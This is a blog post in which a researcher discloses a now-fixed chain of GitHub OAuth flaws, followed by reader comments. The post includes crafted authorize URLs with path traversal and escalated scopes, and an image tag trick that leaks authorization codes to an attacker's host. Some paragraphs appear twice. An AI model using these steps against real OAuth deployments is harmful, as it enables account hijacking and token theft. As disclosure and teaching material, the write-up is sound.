These vulnerabilities were reported privately and fixed in timely fashion. Here is the "timeline" of my emails.
More detailed/alternative explanation.
A few days ago Github launched a Bounty program which was a good motivator for me to play with Github OAuth.
Bug 1. Bypass of redirect_uri validation with /../
First thing I noticed was:
If provided, the redirect URL’s host and port must exactly match the callback URL. The redirect URL’s path must reference a subdirectory of the callback URLI then tried path traversal with /../ — it worked.
Bug 2. Lack of redirect_uri validation on get-token endpoint
The first bug alone isn't worth much. There's protection in OAuth2 from "leaky" redirect_uri's, every 'code' has corresponding 'redirect_uri' it was issued for. To get an access token you must supply exact redirect_uri you used in the authorization flow.Too bad. I decided to find out whether the protection was implemented properly.
redirect_uri
string
The URL in your app where users will be sent after authorization. See details below about redirect urls.
It was flawed: no matter what redirect_uri the Client sent to get a token, the Provider responded with valid access_token.
Without the first bug, the second would be worth nothing as well. But together they turn into a powerful vulnerability — the attacker could hijack the authorization code issued for a "leaky" redirect_uri, then apply the leaked code on real Client's callback to log in Victim's account. Btw it was the same bug I found in VK.com.
It's a serious issue and can be used to compromise "Login with Github" functionality on all websites relying on it. I opened Applications page to see what websites I should check. This section got my attention:
Gist, Education, Pages and Speakerdeck are official pre-approved OAuth clients. I couldn't find client_id of Pages/Education, Speakerdeck was out of Bounty scope (I found account hijacking there and was offered $100). Let's find a Referer-leaking page on Gist then.
Bug 3. Injecting cross domain image in a gist.
Basically, there are two vectors for leaking Referers: user clicks a link (requires interaction) or user agent loads some cross domain resource, like <img>.
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by Camo-proxy URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.
I can't simply inject <img src=http://attackersite.com> because it's going to be replaced by Camo-proxy URL, which doesn't pass Referer header to attacker's host. To bypass Camo-s filter I used following trick: <img src="///attackersite.com">
You can find more details about this vector in Evolution of Open Redirect Vulnerability.
///host.com is parsed as a path-relative URL by Ruby's URI library but it's treated as a protocol-relative URL by Chrome and Firefox. Here's our crafted URL:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code
When the user loads this URL, Github 302-redirects him automatically.
Location: https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
But the user agent loads https://gist.github.com/homakov/8820324?code=CODE
Then user agent leaks CODE sending request to our <img>:
As soon as we get victim's CODE we can hit https://gist.github.com/auth/github/callback?code=CODE and voila, we are logged into the victim's account and we have access to private gists.
Bug 4. Gist reveals github_token in cookies
I was wondering how Gist persists the user session and decoded _gist_session cookie (which is regular Rails Base64 encoded cookie):Oh my, another OAuth anti-pattern! Clients should never reveal actual access_token to the user agent. Now we can use this github_token to perform API calls on behalf of the victim's account, without the Gist website. I tried to access private repos:
Damn it, the token's scope is just "gists", apparently...
Bug 5. Auto approval of 'scope' for Gist client.
Final touch of my exploit. Since Gist is a pre-approved Client, I assumed Github approves any scope the Gist Client asks for automatically. And I was right.All we need now is to load the crafted URL into the victim's browser:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
The user-agent leaks the victim's CODE, Attacker uses leaked CODE to log into the victim's Gist account, decodes _gist_session to steal github_token and ...
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?
NoScript is not going to help. The exploit is script-less.
Private repos, read/write access, etc — all of it in stealth-mode, because the github_token belongs to Gist client. Perfect crime, isn't it?
Bounty
$4000 reward is pretty good. Interestingly, it would be even cheaper for them to buy 4-5 hours of my consulting services at $400/hr which would have cost them $1600 instead. Crowdsourced-security is also an important thing to have. It's better to use them both :)
I'd love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
I'd love to help your company & save you a lot of money.
P.S. I have two other posts about Github vulnerabilities: mass assignment and cookie tossing.
Interestingly, it would be even cheaper for them to buy like 4-5 hours of my consulting services at $400/hr = $1600.
ReplyDeletebut your minimum hours for short-term work is 8 == $3200.
Anyway, great work.
still cheaper + the rest would be spent on other bugs
DeleteOnly assuming that you would find same vulnerabilities, somehow I doubt that process is deterministic.
DeleteThen there is the fact that people look for issues for free and only get money if any are found. If security is perfect crowd sourcing is obviously cheaper as no payouts are ever made.
obviously i wasnt' serioius when i wrote this. It's just playing with words explaining why ppl shoudl hire me
DeleteI hope this is only the level of insight available with your free advice, otherwise $400 per hour seems a bit high.
DeleteAmazing how despite billing $400 an hour you post anonymously and can cite no references to your past work.
DeleteYes, this is why you completely ignore these posts.
DeleteDudes, he was citing the article...
DeleteFor 4-5 hours of my consulting services they would have to pay you no matter what... even if you find no bug. Instead they get 4-5 hours of your time and 4-5 hours of hundreds of other peoples time and only pay when a bug is actually found. so even if they pay you 3 times as much as they "could" have its worth it to use the bounty because they get a ton of FREE hours form everyone else. They can pay a team of 1 or 2 engineers to validate the bugs instead of a full time security "team" and / or hiring and trusting 3rd party consulting services t find bugs that they have to internally validate anyway. They also look like the good guys that care about security and the community for having a bounty program.
DeleteIf they would hire *me* 5 months ago I'd find the same chain 5 months ago. 5 months ago of being secure.
Deletesorry. no matter what you charge for your knowdledge and pattern recognition. they are far away from "secure". stating something else is just ignorant. that what you and some of these other "hire me" posters do is nothing then messing around with a dead horse on one of the last abstraction layers.
DeleteLol +1
DeleteJust FYI, it's "lo and behold"
ReplyDeleteIt would only be cheaper if they are certain you will find something in 8 hours. They are freerolling with crowdsourcing.
ReplyDelete"Hourly rate is $300 for long-term contracts ($12,000 per week) and $400 for short-term engagements (minimum is 8 hours)." And you're asking for donations?
ReplyDeleteI'm poor!
DeleteYou make your money by finding security vulnerabilities and use that to travel Asia and live in Bangkok.
DeleteI want to be you!
Not for long :)
DeleteMore importantly than bashing your rates or lifestyle, thank you!
ReplyDeleteExcellent article, and well done on the bounty!
ReplyDeleteA fun read. Please ignore the trolls. You certainly should advertise on your own blog.
ReplyDeleteIf someone wanted to learn to do this over the summer, where would you recommend they start? Asking for a friend. :)
--M
Start learning OAuth; how to implement it, how it works, etc. Without knowing how OAuth works these bugs become hard to track down.
DeleteAwesome job.
ReplyDeleteGithub, please hire Egor Homakov...
ReplyDeletePeople are just jealous. They probably went off to youporn for a good wank after commenting, all horny on their 'awesome' bash of your cool post.
ReplyDeleteGreat write-up, Egor. I've been rooting for you for a long time!
ReplyDeleteNice work Egor. I assume what you mean by a "leaky" redirect_uri is one that will give out the authorization code? How can that happen?
ReplyDelete"Clients should never reveal actual access_token to the user agent."
ReplyDeleteHow does stealing an access token differ from stealing a session id?
You steal a token of the user = you can do anythings without 'website' in the middle. And if scope was bigger, as in this case, you can do more things, which website doesn't even serve functionality for.
DeleteI always find these security related blog posts amuzing, probably because I have zero knowledge in the field... Could you suggest a few sources that a novice / intermediate web developer should look into in order to start learning about security and vulnerabilities? I know the web is full of XSS, SQL, CSRF whatnot articles but every one I find seems very shallow.
ReplyDeleteYou inspire me, thanks for being awesome!
ReplyDeleteGreat works and very impressive !! A bit sorry of seeing a bunch of negative comments.
ReplyDeleteKeep the rate and don't let people undervalue quality work..
How do I become you egor? How does one become expert at discovering security exploits? I feel like this is what I want to do as I am growing tired of creating web applications or mobile apps for clients. Would you care to write an article on aspiring pen testers?
ReplyDeleteme too...
DeleteI create a markdown Gist file, it can contain some limited HTML and imgs
ReplyDeleteI would donate to you, except I would expect the next day you would roll up in front of my house in a U-Haul as the new legal owner of my furniture, clothes, vehicles, and the copper piping in my house.
ReplyDeleteYou have excellent choice in donation swag, anon. Maybe I can take it down a notch by getting you a "my other Guy Fawkes mask is in my Secret Fawkes's-Cave" bumper sticker and we can quit having anonymous 5-ways.
DeleteThat way, the anonymous party celebrating progress quest Illuminati-styles with this article until 7 the next night isn't so confusing and does not conflict with the 4K meme party inspired by the same article (and kittens.)
I am surprised by Bug #1 - path traversal. :O
ReplyDeleteI never expected such a bug from GitHub guys!
Please ignore the trolls. Awesome work. Instead of focusing on how you did it, they got stuck on the pay, which tells me that they are envious of your position.
ReplyDeleteOn a side note, I am amazed to see this sorta bugs from github.
Anyway, great work.
You're talented. great work!
ReplyDeleteCould you please answer this question about bug 2 ? http://security.stackexchange.com/questions/44214/what-is-the-purpose-of-oauth-2-0-redirect-uri-checking
ReplyDeleteBut Anderson already wrote everything clear. Wrong redirect_uri = no token back
Deletecan you tell what is a "user agent "
ReplyDeletecan you tell what is a "user agent " on Bug 4.. is this the browser??
ReplyDeleteyes
DeleteBrilliant!!! :)
ReplyDeleteI'm actually confused with bug 5, I don't know why you established it as a vulnerability when in GitHub webpage says you can do that:
ReplyDeletehttps://developer.github.com/v3/oauth/#scopes
---------------------------------
NOTE: Your application can request the scopes in the initial redirection. You can specify multiple scopes by separating them with a comma:
https://github.com/login/oauth/authorize?
client_id=...&
scope=user,public_repo
---------------------------------------------------
Can you please make this clear to me?
Thanks in advance.
because there was no warning - since it is the original github client and pre-approved app, you could approve even the scopes the Gist client never needed (such as "repo" scope). This is why auto approving is bad, should warn the user first
DeleteI charge more than you for creating this type of flaw. Perhaps we should get together? I could get paid to create these bugs, you can get paid to find the ones I tell you about, and then I can get paid again to fix them ;)
ReplyDeleteNice write up and good work. Btw: quoting a day rate is more professional and more appealing to corporate clients.